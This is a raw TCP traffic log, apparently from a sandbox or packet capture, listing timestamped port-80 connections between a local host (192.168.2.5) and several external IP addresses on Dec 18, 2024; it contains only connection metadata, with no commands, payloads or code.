Dec 18, 2024 15:21:35.408150911 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.408893108 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.408942938 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.409229040 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.409281015 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.409946918 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.410001040 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.410111904 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.410159111 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.411329031 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.411343098 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.411384106 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.412041903 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.412095070 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.412205935 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.412259102 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.413360119 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.413409948 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.413474083 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.413542032 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.414366007 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.414412022 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.414444923 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.414490938 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.415461063 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.415486097 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.415510893 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.415538073 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.416424036 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.416471004 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.416589022 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.416635990 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.417443037 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.417495966 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.417536020 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.417583942 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.418493032 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.418548107 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.418664932 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.418713093 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.419584036 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.419631958 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.419780016 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.419825077 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.420619011 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.420670986 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.420804977 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.420851946 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.421641111 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.421693087 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.421715975 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.421808004 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.422804117 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.422858000 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.422919989 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.422970057 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.423804998 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.423857927 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.423923016 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.423974037 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.425070047 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.425122976 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.425225973 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.425277948 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.426425934 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.426479101 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.426513910 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.426562071 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.427218914 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.427268982 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.427285910 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.427335024 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.428078890 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.428132057 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.564513922 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.564572096 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.564793110 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.564955950 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.565287113 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.565330982 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.565371990 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.565480947 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.565779924 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.565861940 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.565922022 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.566884041 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.566932917 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.566982985 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.567935944 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.568001986 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.568037033 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.568341017 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.569013119 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.569077015 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.569156885 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.569283009 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.570127010 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.570260048 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.570262909 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.570301056 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.571302891 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.571362019 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.571424007 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.572421074 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.572433949 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.572488070 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.573801041 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.573848963 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.573899984 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.574767113 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.574826002 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.574860096 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.575599909 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.575655937 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.575676918 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.576483011 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.576539040 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.576577902 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.577270985 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.577513933 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.577639103 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.577689886 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.578690052 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.578804970 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.578950882 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.579647064 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.579693079 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.579730988 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.580722094 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.580781937 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.580806971 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.581276894 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.581794024 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.581851959 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.581979036 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.582026005 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.582849026 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.582901001 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.582943916 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.582994938 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.583930016 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.584001064 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.584045887 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.584095955 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.585010052 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.585061073 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.585092068 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.585200071 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.586081028 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.586134911 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.586225033 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.586276054 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.587081909 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.587131023 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.587167978 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.587214947 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.588450909 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.588464022 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.588501930 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.589234114 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.589291096 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.589396954 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.589452982 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.590289116 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.590344906 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.590378046 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.590425014 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.591370106 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.591422081 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.591464996 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.591514111 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.592417955 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.592469931 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.592545986 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.592617989 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.593493938 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.593547106 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.593589067 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.593889952 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.594583035 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.594635010 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.594681978 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.594729900 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.595658064 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.595745087 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.595762968 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.595810890 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.596820116 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.596877098 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.596877098 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.596916914 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.597743988 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.597794056 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.597918034 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.597965956 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.889694929 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:35.891043901 CET	49834	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:36.187580109 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:36.193150043 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:36.193162918 CET	80	49834	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:36.193245888 CET	49834	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:36.193625927 CET	49834	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:36.307135105 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:36.307300091 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:36.313198090 CET	80	49834	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:38.044011116 CET	80	49834	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:38.044074059 CET	49834	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:40.426131964 CET	49834	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:40.428725958 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:22:04.160480976 CET	49899	80	192.168.2.5	185.215.113.43
Dec 18, 2024 15:22:04.280512094 CET	80	49899	185.215.113.43	192.168.2.5
Dec 18, 2024 15:22:04.280725956 CET	49899	80	192.168.2.5	185.215.113.43
Dec 18, 2024 15:22:04.281006098 CET	49899	80	192.168.2.5	185.215.113.43
Dec 18, 2024 15:22:04.400671005 CET	80	49899	185.215.113.43	192.168.2.5
Dec 18, 2024 15:22:05.705401897 CET	80	49899	185.215.113.43	192.168.2.5
Dec 18, 2024 15:22:05.705709934 CET	49899	80	192.168.2.5	185.215.113.43
Dec 18, 2024 15:22:07.219578981 CET	49899	80	192.168.2.5	185.215.113.43
Dec 18, 2024 15:22:07.219913960 CET	49906	80	192.168.2.5	185.215.113.43
Dec 18, 2024 15:22:07.339385033 CET	80	49906	185.215.113.43	192.168.2.5
Dec 18, 2024 15:22:07.339519024 CET	49906	80	192.168.2.5	185.215.113.43
Dec 18, 2024 15:22:07.339550018 CET	80	49899	185.215.113.43	192.168.2.5
Dec 18, 2024 15:22:07.339606047 CET	49899	80	192.168.2.5	185.215.113.43
Dec 18, 2024 15:22:07.339829922 CET	49906	80	192.168.2.5	185.215.113.43
Dec 18, 2024 15:22:07.459266901 CET	80	49906	185.215.113.43	192.168.2.5
Dec 18, 2024 15:22:08.706111908 CET	80	49906	185.215.113.43	192.168.2.5
Dec 18, 2024 15:22:08.706126928 CET	80	49906	185.215.113.43	192.168.2.5
Dec 18, 2024 15:22:08.706279993 CET	49906	80	192.168.2.5	185.215.113.43
Dec 18, 2024 15:22:08.710315943 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:08.830512047 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:08.830738068 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:08.831113100 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:08.950632095 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.164563894 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.164589882 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.164599895 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.164725065 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.164725065 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.164732933 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.164746046 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.164757967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.164804935 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.164804935 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.166093111 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.166194916 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.166196108 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.166205883 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.166351080 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.166351080 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.166352034 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.166445971 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.287705898 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.287755013 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.287837029 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.287837029 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.288585901 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.288688898 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.288815975 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.288815975 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.356642962 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.356854916 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.356930971 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.356930971 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.360838890 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.361315012 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.362442017 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.362494946 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.362508059 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.363334894 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.370810986 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.370910883 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.370965004 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.370965004 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.379183054 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.379285097 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.379487038 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.379539967 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.387737989 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.387814045 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.387865067 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.388168097 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.396188974 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.396210909 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.396306992 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.396394968 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.404485941 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.404629946 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.404633999 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.404721975 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.412967920 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.413086891 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.413115978 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.413167000 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.421344042 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.421493053 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.421538115 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.421552896 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.429275036 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.429367065 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.429423094 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.429434061 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.436968088 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.437189102 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.437251091 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.437321901 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.476699114 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.476819992 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.476871014 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.476969004 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.548599005 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.548733950 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.548902035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.548902035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.550852060 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.550985098 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.551001072 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.551035881 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.555331945 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.555512905 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.556972027 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.557089090 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.557204008 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.557297945 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.561475039 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.561613083 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.561620951 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.561675072 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.565994978 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.566113949 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.566147089 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.566188097 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.570434093 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.570516109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.570545912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.570641041 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.575069904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.575181007 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.575208902 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.575335026 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.579477072 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.579576969 CET	49910	80	192.168.2.5	31.41.244.11
